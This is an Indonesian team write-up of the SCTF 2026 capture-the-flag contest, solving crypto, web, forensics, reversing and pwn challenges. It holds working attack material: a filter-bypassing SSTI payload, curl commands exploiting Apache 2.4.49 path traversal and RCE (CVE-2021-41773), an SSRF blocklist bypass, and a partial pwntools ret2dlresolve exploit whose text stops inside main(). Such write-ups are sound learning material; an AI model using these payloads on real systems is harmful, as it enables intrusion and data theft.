Full Writeup with teams (15 place / top 20)
SCTF 2026 Presented by : Kata ellie lagi cari team, jadi dia kontak kkarinzzz untuk menjadi membernya, lalu kkarinzzz mengontak claritys untuk menjadi anggota team dan dia setuju Party Members: Ellie Kkarinzzz Claritys (Me)

SCTF 2026
Presented by :
Kata ellie lagi cari team, jadi dia kontak kkarinzzz untuk menjadi membernya, lalu kkarinzzz mengontak claritys untuk menjadi anggota team dan dia setuju
Ellie
Kkarinzzz
Claritys
Crytography
Warmup
Tingkat Kesulitan : Medium
Deskripsi : }eheh_lanoisan_arauj_kusam_asib_atik_agomes_ti_kcerw_tuki_gnay_ay_tagnames_wtb_his_ag_ulud_pu_mraw{62FTCS
Langkah Penyelesaian: Masukin deskripsi itu ke reverse text
Flag: SCTF26{warm_up_dulu_ga_sih_btw_semangat_ya_yang_ikut_wreck_it_semoga_kita_bisa_masuk_juara_nasional_hehe}
Web Exploitation
Blog
Tingkat Kesulitan : Medium
Deskripsi :
Ada sebuah majalah dinding digital di sudut internet.
Pemiliknya dengan hangat menyapa setiap pengunjung secara personal — nama kamu akan terpampang di halaman utama.
Ia sudah waspada terhadap vandalisme. Ada daftar kata-kata yang tidak boleh ditulis, sudah ia tempel di mana-mana.
Tapi bahasa itu luas. Selalu ada cara lain untuk mengucapkan hal yang sama.
Langkah Penyelesaian : Disini kita diberitahukan oleh Ellienes bahwa ini web mempunyai kerentanan SSTI di parameternya dan kita dikasih hint untuk tempat flag nya
<!-- Try to get the flag from the environment variable FLAG -->
Disini udah fix ada ssti dengan masukkan payload {{7*7}} dan muncullah 49
Saat memasukkan payload :
configself
Ini gabisa, tapi saat :
requestnamespacecycler{{cycler.``**init**``}}{{cycler.``**init**``.``**globals**``}}
Ini lolos, jadi kubikin payloadnya kaya gini
{{cycler.``**init**``.``**globals**``.os.environ}}
{{cycler.``**init**``.``**globals**``["os"]}}
Menghasilkan
Filtered: os is not allowed!
Terus cari cara bypass ban os ketemu
yang dimana ketika kita memasukkan
"o" ~ "s"
akan menjadi
"os"
{{cycler.``**init**``.``**globals**``["o" ~ "s"]}}
Welcome to the Blog, <module 'os' (frozen)>!
Read our latest posts soon!
Karena lolos, kita ambil environ nya yaitu FLAG seperti hint diatas
{{cycler.``**init**``.``**globals**``["o" ~ "s"].environ["FLAG"]}}
Welcome to the Blog, SCTF26{sst1_byp4ss_w1th_str1ng_c0nc4t}!
Read our latest posts soon!
Yeay :v
Flag: SCTF26{sst1_byp4ss_w1th_str1ng_c0nc4t}
URL Storage
Tingkat Kesulitan : Medium
Deskripsi :
Sebuah papan pengumuman digital. Siapapun boleh menempel. Siapapun boleh melapor.
Dan setiap laporan yang masuk — pasti dibaca oleh sang moderator setia.
Moderator itu menyimpan sebuah kunci rahasia. Ia tidak pernah membagikannya kepada siapapun.
Tapi setiap kali ia membuka laporan, kunci itu ikut terbawa bersamanya.
Bisakah kamu membuat laporan yang bisa berbicara sendiri — tanpa suara, tanpa jejak yang terlihat — dan pulang dengan membawa kuncinya?
Terinspirasi dari sebuah tantangan klasik CTF tahun 2017.
URL: http://url-storage.sctf.my.id
Langkah Penyelesaian: Disini kita diberikan source code yang strukturnya gini
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/url]
└─$ tree
.
├── bot
│ ├── bot.js
│ ├── Dockerfile
│ └── package.json
├── docker-compose.yml
├── inject_css.py
└── web
├── app.py
├── Dockerfile
├── requirements.txt
└── templates
├── flag.html
├── index.html
├── report.html
└── urlstorage.html
4 directories, 12 files
Yang dimana curiga ada bot nih keknya udah pasti xss :v. Jadi saya explor dulu di webnya yang dimana ada comment kaya gini
<title>SCTF26 - URL Storage</title>
<!-- RPO Vulnerability: Relative CSS path -->
<link rel="stylesheet" href="style.css">
Apanih baru ya kan, gatau juga cik RPO ni kekmana. Habistu dikasih writeup sama ellienes 34C3 CTF 2017 - urlstorage writeup - l4w.io
Tapi setelah mengikuti itu semwa, gwehj tetap tidak paham. Jadi mari kita baca source code, siapa taw ada hal yang menarik :>
Di bagian bot.js ada anuan yang menarik yaitu
const res = await axios.get(`${WEB_URL}/api/get_reports`);
Yang pas ketika diakses ada wow, berlian cik wkwkwkkw
{"admin_password":"ac745dbcdee1c7ed7e980662f748e7d2","admin_username":"admin","reports":[]}
Langsung saja login make creds ini rek wkwkkwkwkw :v
Dan yap ketemu rek (baca source code ternyata nemu juga woakwoakwowk)
Flag: SCTF26{rp0_cs5_l34ks_4nd_xs5_ch41n}
Tax Simulator
Tingkat Kesulitan : Medium
Deskripsi :
Loket pajak ini hanya punya satu petugas.
Ada antrean panjang, dan setiap orang boleh datang dengan voucher diskon — tapi hanya sekali.
Petugas itu jujur, tapi lambat. Ia butuh waktu untuk memproses setiap pengajuan.
Dan selama ia masih memproses... ia belum sempat mencatat bahwa voucher itu sudah dipakai.
Apa yang terjadi kalau kamu datang ke loket lebih dari sekali di saat yang bersamaan?
Langkah Penyelesaian: Disini kita diberikan portal untuk membayar pajak (dimana bumi dipijak, disana saya dipajak)
Disini kita bisa menggunakan voucher untuk potongan, jadi karena di KTCG Community ada chall kek gini, langsung nyalain burpsuite → ambil pas bagian kupon pembayaran → duplicate request → send barengan dalam 1 waktu → dapat flag
Yeayyy
Flag: SCTF26{tax_systems_love_parallel_requests}
Apache Tears
Tingkat Kesulitan : Medium
Deskripsi :
Di sebuah kota tua, ada perpustakaan bersejarah yang baru saja membuka pintunya kembali setelah renovasi.
Pengelolanya bangga — koleksi lamanya masih lengkap, sistem baru sudah terpasang, semua tampak sempurna.
Tapi ada satu lorong yang dibangun terburu-buru. Satu pintu yang tidak terkunci dengan benar.
Satu jalan yang seharusnya tidak menuju ke mana-mana, tapi nyatanya bisa membawamu ke mana saja.
Temukan lorong itu.
URL: http://apache-tears.sctf.my.id
Langkah Penyelesaian: Disini dikasi url http://103.127.98.249:8085 yang ketika dibuka isinya begini
Ada versi tuh :v, langsung cari exploitnya dan ketemu ini
**Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)**
CVE 2021-41773
Dan terdapat cgi-bin yang akan kita exploit sesuai tutorial path-travelsal.
Yaitu dengan menggunakan encoded kaya
.%2e/
Jadi path traversal bisa terjadi kaya gini
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Ini bakalan jadi /bin/sh
Payload pertama langsung kita kasih RCE
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/apache]
└─$ curl --path-as-is -X POST -d 'echo;id' http://103.127.98.249:8085/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Sedapnya ternyata valid coy
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/apache]
└─$ curl --path-as-is -X POST -d 'echo;find / -iname "*flag*" 2>/dev/null' http://103.127.98.249:8085/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags
/sys/devices/pnp0/00:00/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/flag.txt
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/apache]
└─$
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/apache]
└─$ curl --path-as-is -X POST -d 'echo;cat /flag.txt' http://103.127.98.249:8085/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
SCTF26{4p4ch3_p4th_tr4v3rs4l_cve_2021_41773}
Dan yap ketemu coy GG
Flag: SCTF26{4p4ch3_p4th_tr4v3rs4l_cve_2021_41773}
Gudang Makanan
Tingkat Kesulitan : Medium
Deskripsi :
Gudang ini menyimpan lebih dari sekadar makanan.
Di balik rak-rak besar itu, tersimpan dokumen penting milik sang pemilik — hanya ia yang tahu caranya membuka brankas di balik dinding.
Konon, sang pemilik sering lalai. Ia meninggalkan catatan di tempat yang seharusnya tidak bisa dibaca siapapun.
Dan konon pula, ada cara unik yang ia gunakan untuk membuktikan siapa dirinya kepada gudangnya sendiri.
Temukan catatannya. Pahami cara berpikirnya. Jadilah dia.
Langkah Penyelesaian: Disini kita diberikan source code yh guys (setelah sekian lama) yang isinya
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/gudang]
└─$ tree
.
├── docker-compose.yml
├── internal
│ ├── Dockerfile
│ ├── package.json
│ └── server.js
└── web
├── Dockerfile
├── package.json
├── public
│ ├── app.js
│ ├── config.json.bak
│ ├── index.html
│ └── style.css
└── server.js
4 directories, 11 files
Di file docker-compose.yml
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/gudang]
└─$ cat docker-compose.yml
services:
web:
build: ./web
container_name: gudang-web
ports:
- "8092:3000"
networks:
- frontend
- backend
environment:
- NODE_ENV=production
restart: unless-stopped
gudang-api:
build: ./internal
container_name: gudang-internal
networks:
- backend
# TIDAK ada port yang di-expose ke host!
# Hanya bisa diakses dari network docker internal
environment:
- NODE_ENV=production
restart: unless-stopped
networks:
frontend:
driver: bridge
backend:
driver: bridge
internal: true
Disini gudang-web expose port 3000 ke host sebagai port 8092 . Jadi bisa diakses lewat http://127.0.0.1:8092 Service gudang-api ga terexpose port ke host. Tapi gudang-api sama web sama sama di network backend jadi dalam container web, host gudang-api bisa diresolve DNS Docker Compose.
Saat kita explore interl/server.js ada ini
const PORT = process.env.PORT || 8080;
app.listen(PORT, '0.0.0.0', () => {
console.log(`[INTERNAL] Gudang service running on port ${PORT}`);
console.log(`[INTERNAL] Network: internal-only`);
});
Jadi url internalnya adalah http://gudang-api:8080 diperkuat dengan web/public/config.json.bak
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/web/gudang]
└─$ cat web/public/config.json.bak
{
"app_name": "Gudang Makanan Web",
"version": "2.3.1",
"environment": "production",
"backend_service": {
"host": "gudang-api",
"port": 8080,
"protocol": "http"
}
Lalu di web/server.js juga ada endpoint utamanya
app.post('/api/check-image', async (req, res) => {
const { url } = req.body;
----
const PORT = process.env.PORT || 3000;
app.listen(PORT, '0.0.0.0', () => {
console.log(`[WEB] Gudang Makanan Nasional - Web Service`);
console.log(`[WEB] Running on port ${PORT}`);
console.log(`[WEB] Environment: ${process.env.NODE_ENV || 'development'}`);
});
Karena docker 8092:3000 , endpointnya http://127.0.0.1:8092/api/check-image
Web ni memastikan input url ada dan tipenya strings
if (!url || typeof url !== 'string') {
return res.status(400).json({
success: false,
error: 'URL gambar diperlukan. Masukkan URL yang valid.'
});
}
Abistu URL nya diparse
let parsed;
try {
parsed = new URL(url);
} catch {
return res.status(400).json({
success: false,
error: 'Format URL tidak valid. Gunakan format: https://domain.com/gambar.png'
});
}
Web hanya nerima https: sama https://
if (!['http:', 'https:'].includes(parsed.protocol)) {
return res.status(400).json({
success: false,
error: 'Hanya protokol HTTP dan HTTPS yang diizinkan'
});
}
Karena internal service adalah HTTP jadi nanti make http://
Ini ada banyak sekali hostname yang blacklist
const hostname = parsed.hostname.toLowerCase();
const blockedHosts = [
'localhost',
'127.0.0.1',
'0.0.0.0',
'::1',
'[::1]',
'0177.0.0.1',
'0x7f000001',
'0x7f.0x0.0x0.0x1',
'2130706433',
'017700000001',
'0177.0.0.01',
'127.0.0.0',
'127.255.255.255',
'metadata.google.internal',
'169.254.169.254'
];
if (blockedHosts.some(h => hostname === h)) {
return res.status(403).json({
success: false,
error: 'Akses ke alamat tersebut tidak diizinkan oleh kebijakan keamanan'
});
}
Filternya ni bandingin hostname sama daftar blacklist aja si, payload gaperlu make localhost atau 127.0.0.1 , karena docker ada nama service internal gudang-api karena dia ga diblacklist jadi lolos :v
Terus ada regex untuk blok IP Private
const privateIPRegex = /^(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|fc00:|fd[0-9a-f]{2}:)$/i;
if (privateIPRegex.test(hostname)) {
return res.status(403).json({
success: false,
error: 'Akses ke jaringan privat tidak diizinkan'
});
}
Regex ni bisa dipake kalo user kirim IP Private kaya eee http://172.20.0.2:8080/ tapi payload make hostname gudang-api
Habistu ni web blok path sensitif
const urlPath = decodeURIComponent(parsed.pathname);
const blockedKeywords = ['internal', 'admin', 'flag', 'secret', 'private', '.env', 'config', 'etc/passwd', 'proc/self'];
if (blockedKeywords.some(keyword => urlPath.includes(keyword))) {
return res.status(403).json({
success: false,
error: 'Path URL mengandung kata kunci yang tidak diizinkan'
});
}
Path seperti /internal/flag.png akan diblok, Tapi includes() di JavaScript case-sensitive. Web tidak melakukan lowercase terhadap urlPath sebelum pengecekan. Maka path uppercase ini lolos /INTERNAL/FLAG.png
Habistu ni wajib belakangnya extensi gambar
const pathLower = parsed.pathname.toLowerCase();
const validExts = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.svg', '.bmp', '.ico'];
if (!validExts.some(ext => pathLower.endsWith(ext))) {
return res.status(400).json({
success: false,
error: 'URL harus mengarah ke file gambar yang valid (.png, .jpg, .jpeg, .gif, .webp, .svg)'
});
}
Karena itu payload dikasi .png jadi /INTERNAL/FLAG.png Ini lolos extension check karena pathLower.endsWith(".png") bernilai true.
Setelah smwa lolos, website ni ngelakuin request server side
const response = await fetch(url, {
signal: controller.signal,
headers: {
'User-Agent': 'GudangMakanan-ImageValidator/2.3',
'Accept': 'image/*,*/*'
},
redirect: 'follow',
follow: 5
});
Ini dia titik SSRF nya. Request dikirim dari container gudang-web karena gudang-web satu network sama gudang-api jadi ini bisa digunakan.
http://gudang-api:8080/INTERNAL/FLAG.png
Flag : SCTF26{gudang_makanan_tidak_boleh_bocor}
Forensic
Invisible Ink
Tingkat Kesulitan : Medium
Deskripsi : Can you read between the lines?
Langkah Penyelesaian:
Pertama-pertama, kita langsung google kalau ini itu apa. Dari situ, dia mention Windows-1252. Gw langsung mencari cara untuk decode Windows-1252.
Turns out, hasil semuanya itu aneh. Jadinya aku coba cek cyberchef apakah ada atau tidak.
Ternyata ada, aku langsung nyoba pakai decode text malah hasilnya sama
Alhasil aku pakai encode, dan ternyata work. But, hasilnya itu merah merah, aku awalnya tetep bingung sih. Tapi dipikir pikir ini itu mirip zero-width Unicode steganography. Apalagi itu ada UTF-8 detected dari cyberchef pojok kanan bawah. Langsung saja kita tambahkan decode UTF-8.
Yaa.. even though sama aja merah merah but it’s different ahh moment. Langsung copy raw to clipboard lalu google tentang zero-width Unicode steganography dan milih web https://stegzero.com/.
Completed :3
Flag: SCTF26{z3r0_w1dth_1s_tr1cky_f0r_3y3s}
Silent Exfiltration
Tingkat Kesulitan : Medium
Deskripsi : We noticed strange network traffic. Find out what was stolen.
Langkah Penyelesaian: Disini kita diberikan file pcap yaitu silent_exfil.pcap yang isinya…
Langsung muncul di kepala saya yaitu anomali depan subdomain tuh
KNBVIRRSGZ
5WI3TTL4ZX
QZRRNR2HEN
DUGEYG4X3Q
MNQXAXZUNY
2GY6JVGE2X
2
Yang kalo digabung jadi
KNBVIRRSGZ5WI3TTL4ZXQZRRNR2HENDUGEYG4X3QMNQXAXZUNY2GY6JVGE2X2
Ternyata base32 setelah didecode muncullah flag nya yeay
Flag: SCTF26{dns_3xf1ltr4t10n_pcap_4n4ly515}
The Matryoshka Doll
Tingkat Kesulitan : Medium
Deskripsi : There is a secret deeply nested within. Can you uncover it? Note: The password is in plain sight.
Langkah Penyelesaian: Disini kita diberikan sebuah gambar bernama the_matryoshka.png namanya mirip mirip chall yg saya kenal yh…
Pas saya lihat menggunakan exiftool ada tuh passwordnya mungkin untuk sebuah zip dalam foto ini untuk dapat flag
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ exiftool the_matryoshka.png
ExifTool Version Number : 13.55
File Name : the_matryoshka.png
Directory : .
File Size : 4.2 kB
File Modification Date/Time : 2026:07:03 17:04:22+07:00
File Access Date/Time : 2026:07:03 17:04:43+07:00
File Inode Change Date/Time : 2026:07:03 17:04:37+07:00
File Permissions : -rwxr-xr-x
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 800
Image Height : 600
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Password : SCTF_EXIF_S3CR3T
Image Size : 800x600
Megapixels : 0.480
SCTF_EXIF_S3CR3T
Itu adalah password untuk sebuah sesuatu, karena ini .png saya menggunakan tools bernama zsteg
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ zsteg the_matryoshka.png
meta Password .. text: "SCTF_EXIF_S3CR3T"
imagedata .. file: Microsoft Works 1-3 (DOS) or 2 (Windows) document \377
b1,r,lsb,xy .. file: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
b2,r,msb,xy .. text: "_UUUUUUUU"
b4,r,msb,xy .. text: ["w" repeated 8 times]
b4,bgr,msb,xy .. file: MPEG ADTS, layer I, v2, Monaural
Waduh ada zip nih
b1,r,lsb,xy .. file: Zip archive data, at least v2.0 to extract, compression method=AES Encrypted
Kita ambil zip tersebut menggunakan
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ zsteg -E b1,r,lsb,xy the_matryoshka.png > a.zip
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ unzip a.zip
Archive: a.zip
skipping: flag.txt unsupported compression method 99
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ 7z x a.zip
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
64-bit locale=en_US.UTF-8 Threads:4 OPEN_MAX:10240, ASM
Scanning the drive for archives:
1 file, 60000 bytes (59 KiB)
Extracting archive: a.zip
WARNINGS:
There are data after the end of archive
--
Path = a.zip
Type = zip
WARNINGS:
There are data after the end of archive
Physical Size = 192
Tail Size = 59808
Enter password (will not be echoed):
Everything is Ok
Archives with Warnings: 1
Warnings: 1
Size: 26
Compressed: 60000
┌──(kkarinzzz㉿DESKTOP-TM80IKF)-[~/sctf/forensics/the]
└─$ ls
a.zip flag.txt the_matryoshka.png
Dan yap dapat deh flag nya :v
Flag: SCTF26{m4try0shk4_lsb_z1p}
Reverse Engineering
PYMalware
Tingkat Kesulitan : Medium
Deskripsi:
A Python script compiled with PyInstaller that uses XOR obfuscation.
Langkah Penyelesaian: Diberikan file yang berisikan
┌──(alya㉿ally)-[/mnt/c/Users/alyaf/Downloads/dist]
└─$ tree
├── chall.py
├── cipher.py
└── pymalware
Disini saya cek file pymalware menggunakan perintah file.
└─$ file pymalware
pymalware: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=34f6ce77833f8dc35eb938b6683c0edc0292f637, stripped
Dari hasilnya sih pymalware itu binary ELF. Disini saya langsung menggunakan Detect It Easy (DIEC) untuk mengetahui apakah binary tersebut menggunakan packer tertentu.
─(alya㉿ally)-[mnt/c/Users/alyaf/Downloads/dist]
└─$ diec pymalware
ELF64
Compiler: GCC((Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0)
Library: GLIBC(2.7)[EXEC AMD64-64]
Packer: PyInstaller
Nah, hasil analisis terlihat bahwa binary tersebut di packer menggunakan PyInstaller. Karena binary dibuat menggunakan PyInstaller, maka disini saya sung ekstrak isi executablenya menggunakan pyinstxtractor.
──(alya㉿ally)-[/mnt/c/Users/alyaf/Downloads/dist]
└─$ python3 pyinstxtractor.py pymalware
Dari hasil extract terdapat beberapa file salah satunya pymalware.pyc
pymalware_extracted
├── base_library.zip
├── libbz2.so.1.0
├── libcrypto.so.1.1
├── libexpat.so.1
├── liblzma.so.5
├── libmpdec.so.3
├── libpython3.9.so.1.0
├── libz.so.1
├── pyiboot01_bootstrap.pyc
├── pyimod01_archive.pyc
├── pyimod02_importers.pyc
├── pyimod03_ctypes.pyc
├── pymalware.pyc
Disini saya perlu decompile lagi menggunakan PyLingual Python Decompiler****. Hasil decompilenya
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'pymalware.py'
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import sys
def check_flag(flag):
enc = base64.b64encode(flag.encode()).decode()
key = 42
out = ''.join((chr(ord(c) ^ key) for c in enc))
target = 'IHOExx12}KHDEeHx18OXHx1bEXDOx13ex13Ix1fEXDx15'
target = 'I0VHRzI2e3B5dGhvbl9yZXZlcnNpbmdfaXNfZnVufQ=='
target_encoded = ''.join((chr(ord(c) ^ key) for c in target))
return out == target_encoded
if __name__ == '__main__':
flag = input('Enter flag: ')
if check_flag(flag):
print('Correct!')
else:
print('Wrong!')
Disini saya awalnya decode pesan I0VHRzI2e3B5dGhvbl9yZXZlcnNpbmdfaXNfZnVufQ== menggunakan base 64.
Hasilnya EGG26{python_reversing_is_fun} sempet kekirim tp salah:V, tapi disini saya ubah formatnya jadi SCTF26{python_reversing_is_fun} eeh benar.
Flag: SCTF26{python_reversing_is_fun}
Bank Vault
Tingkat Kesulitan : Medium
Deskripsi:
An ATM simulation with a custom encryption algorithm for the PIN.
Langkah Penyelesaian:
Link AI:
https://chatgpt.com/share/6a487751-ee44-83ec-99fa-6b7e10a341d4
Awalnya, aku decompile ini menggunakan dogbolt.org, setelah itu aku baca dulu hasilnya.
//----- (0000000000001185) ----------------------------------------------------
__int64 *__fastcall sub_1185(__int64 a1, __int64 *a2)
{
*a2 = (1337 * (a1 ^ 0xDEADBEEFLL)) ^ 0xCAFEBABELL;
return a2;
}
//----- (00000000000011C3) ----------------------------------------------------
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-38h] BYREF
char s[40]; // [rsp+10h] [rbp-30h] BYREF
__int64 v6; // [rsp+38h] [rbp-8h]
puts("--- SCTF Secure Bank ATM ---");
printf("Enter 8-digit master PIN: ");
if ( !fgets(s, 32, stdin) )
return 1;
s[strcspn(s, "\n")] = 0;
if ( strlen(s) == 8 )
{
v6 = atoll(s);
sub_1185(v6, &v4);
if ( v4 == 0x48CF6EA6484LL )
{
puts("Access Granted!");
printf("Flag: SCTF26{w3lc0m3_t0_th3_v4ult_p1n_%lld}\n", v6);
}
else
{
puts("Access Denied.");
}
return 0;
}
else
{
puts("Invalid PIN length!");
return 1;
}
}
https://dogbolt.org/?id=8678fb7f-85ab-4309-a9eb-24d7fadc7ad3#Hex-Rays=183
And turns out ya, aku awalnya tuh ngira tinggal pakai 0x48CF6EA6484LL aja buat masukin biar dapet flag, eh ternyata malah invalid. Karena lengthnya itu hanya bisa 8. Nah, setelah mikir lama, akhirnya temenku itu ngasih screenshot decompile kalau dari IDA langsung
Gw liat langsung kepikiran. Eh ngapain aku nyari tau passwordnya ya, tinggal hitung v6 nya aja. Aku sadarnya ditengah tengah chattingan sama ChatGPT. Akhirnya tinggal masukin dari part yang 1 yaitu SCTF26{w3lc0m3_t0_th3_v4ult_p1n_ dan digabungkan dengan v6, yang isinya adalah 9147487905852048613.
Done
Flag: SCTF26{w3lc0m3_t0_th3_v4ult_p1n_9147487905852048613}
PWN
Koperasi
Tingkat Kesulitan : Medium
Deskripsi : Sistem Koperasi Desa Suka Maju baru saja direvolusi menjadi digital. Namun, Kepala Desa mencium aroma busuk: kas mereka terus menyusut padahal tidak ada laporan kerugian! Diduga ada celah matematis yang memungkinkan peretas menggandakan uang mereka dari udara kosong. Tugasmu adalah menjadi auditor keamanan dadakan dan menguras kas tersebut untuk membuktikan kebobrokannya! nc 103.127.98.249 5002
Langkah Penyelesaian:
Link AI:
https://claude.ai/share/08a9aadd-7372-437c-9bf3-6ea829de2f13
https://chatgpt.com/share/6a483436-1a34-83ec-9be7-d99fd81ac2e3
Challenge ini ngasih binary koperasi, decompile di decompile.txt, dan beberapa catatan di information.txt. Dari awal keliatan ini pwn klasik, tapi dibungkus menu koperasi: verifikasi anggota, cairin saldo, baru bisa beli pupuk.
Pertama cek proteksi:
~/ctf/sctf/pwn/pwn_2/koperasii
❯ checksec koperasi
[*] '/home/claritys/ctf/sctf/pwn/pwn_2/koperasii/koperasi'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Dari sini asumsi awal gue:
No canaryberarti stack overflow kemungkinan bisa langsung overwrite RIP.NX enabledberarti shellcode di stack bukan jalan paling enak.No PIEberarti alamat gadget dan PLT/GOT binary stabil.Partial RELRObikin GOT masih menarik buat dibaca atau bahkan ditulis, tapi untuk kasus ini leak aja cukup.
Asumsi ini valid karena checksec nunjukin mitigasi persis begitu.
Jadi kalau ada fungsi input jelek, kemungkinan besar arahnya ret2libc.
Program punya menu:
1. Verifikasi Anggota (Himpunan)
2. Pencairan Saldo (Polinomial)
3. Beli Pupuk (Toko)
4. Keluar
Menu 3 baru bisa diakses kalau sudah lolos menu 1 dan menu 2.
Di decompile, bagian menu 3 menarik banget:
void FUN_004016e9(void)
{
char local_38 [48];
puts("\\n--- Toko Pupuk Koperasi ---");
puts("Pupuk NPK Mutiara 50kg - Harga: Rp 500.000");
printf("Masukkan alamat pengiriman pupuk (max 40 karakter):\\n> ");
getchar();
gets(local_38);
printf("[+] Pesanan diproses! Pupuk akan dikirim ke: %s\\n",local_38);
return;
}
Nah ini udah bau. Buffer 48 byte, prompt bilang max 40 karakter, tapi input pakai gets. gets tidak peduli batas ukuran, jadi ini kandidat bug utama.
Kenapa gue asumsi ini bug yang bener? Karena:
gets(local_38)langsung nulis ke stack.Tidak ada canary.
Fungsi return setelah input, jadi saved RIP bisa kena.
printf("%s", local_38)cuma efek samping output, bukan mitigasi.
Gue coba isi alamat dengan cyclic pattern lewat flow normal:
verifikasi, cairin saldo, lalu beli pupuk. Program crash di akhir fungsiFUN_004016e9, tepat di instruksi ret.
Dari catatan gdb:
$rip : 0x0000000000401751 -> ret
$rbp : 0x6161616161616167
gef➤ pattern search $rbp
[+] Searching for '6761616161616161'/'6161616161616167' with period=8
[+] Found at offset 48 (little-endian search) likely
Karena offset ke saved RBP adalah 48, maka saved RIP ada setelahnya:
offset RIP = 48 + 8 = 56
Ini cocok juga dengan layout fungsi:
char local_38[48]
saved rbp 8 byte
saved rip 8 byte
Jadi payload dasar:
b"A" * 56 + p64(target)
Nah, sejujurnya di sini sempet stuck. Karena ini pertama kali ngerjain ret2libc (kata claude), mana gak dikasih pula libcnya, jadinya harus nyari nyari WU yang libc. Nah, karena butuh ngeleak, dan aku belum tau caranya, akhirnya aku tanya bro claude biar langsung digituin :)..
Bisa diliat didalam link claude, kalau kita itu berusaha keras biar dapetin libcnya, yang pada akhirnya token claude gw habis :v. alhasil ya tanya CHATGPT.
Tapi gak sangka kalau bisa langsung solve 😭
Yang in conclusion, ternyata ini itu ret2dlresolve. Sebenarnya udah ada feeling kalau misalnya nebak libc nya itu susah banget. Karena udah nyobain semua libc satu satu di libc.rip masih salah semua..
But in the end of the day, this is a ret2dlresolve challenge. It was fun and tiring for this challenge cuz many errors :).
Solver:
#!/usr/bin/env python3
from pwn import *
import re
BINARY = "./koperasi"
HOST, PORT = "103.127.98.249", 5002
context.binary = elf = ELF(BINARY, checksec=False)
context.log_level = "info"
OFFSET = 56
RET_GADGET = 0x401016
def start():
if HOST and PORT:
return remote(HOST, PORT)
return process(BINARY)
def solve_himpunan(io):
io.sendlineafter(b"Pilih menu: ", b"1")
io.recvuntil(b"Warga (W) = {")
w = [int(x.strip()) for x in io.recvuntil(b"}", drop=True).split(b",")]
io.recvuntil(b"Petani (P) = {")
p = [int(x.strip()) for x in io.recvuntil(b"}", drop=True).split(b",")]
inter = list(set(w) & set(p))
assert len(inter) >= 2, f"Irisan kurang: {inter}"
io.sendlineafter(b":", f"{inter[0]} {inter[1]}".encode())
def solve_polinomial(io):
io.sendlineafter(b"Pilih menu: ", b"2")
io.recvuntil(b"otorisasi:\n")
line = io.recvline()
log.info(f"poly line = {line!r}")
m = re.search(
rb"x\^3\s*([+-])\s*(\d+)x\^2\s*([+-])\s*(\d+)x\s*([+-])\s*(\d+)\s*=\s*0",
line
)
assert m, f"Gagal parse polinomial: {line!r}"
s1, n1, s2, n2, s3, n3 = m.groups()
def signed(sign, num):
num = int(num)
return num if sign == b"+" else -num
a = signed(s1, n1)
b = signed(s2, n2)
c = signed(s3, n3)
root = None
for x in range(1, 40):
if x**3 + a*x**2 + b*x + c == 0:
root = x
break
assert root is not None, f"Akar tidak ketemu: {a}, {b}, {c}"
log.info(f"root = {root}")
io.sendlineafter(b":", str(root).encode())
def build_dlresolve_payload(cmd="cat flag.txt"):
# Geser-geser .bss supaya payload tidak mengandung newline.
# Karena kita nulis pakai gets(), byte 0x0a bisa memotong input.
for add in range(0x800, 0x3000, 0x100):
data_addr = elf.bss() + add
dlresolve = Ret2dlresolvePayload(
elf,
symbol="system",
args=[cmd],
data_addr=data_addr
)
rop = ROP(elf)
rop.raw(RET_GADGET)
rop.call(elf.plt["gets"], [dlresolve.data_addr])
rop.ret2dlresolve(dlresolve)
payload1 = flat({
OFFSET: rop.chain()
})
payload2 = dlresolve.payload
if b"\n" not in payload1 and b"\n" not in payload2:
log.info(f"dlresolve data_addr = {hex(data_addr)}")
return payload1, payload2
raise RuntimeError("Tidak dapat payload ret2dlresolve tanpa newline")
def main():
io = start()
solve_himpunan(io)
solve_polinomial(io)
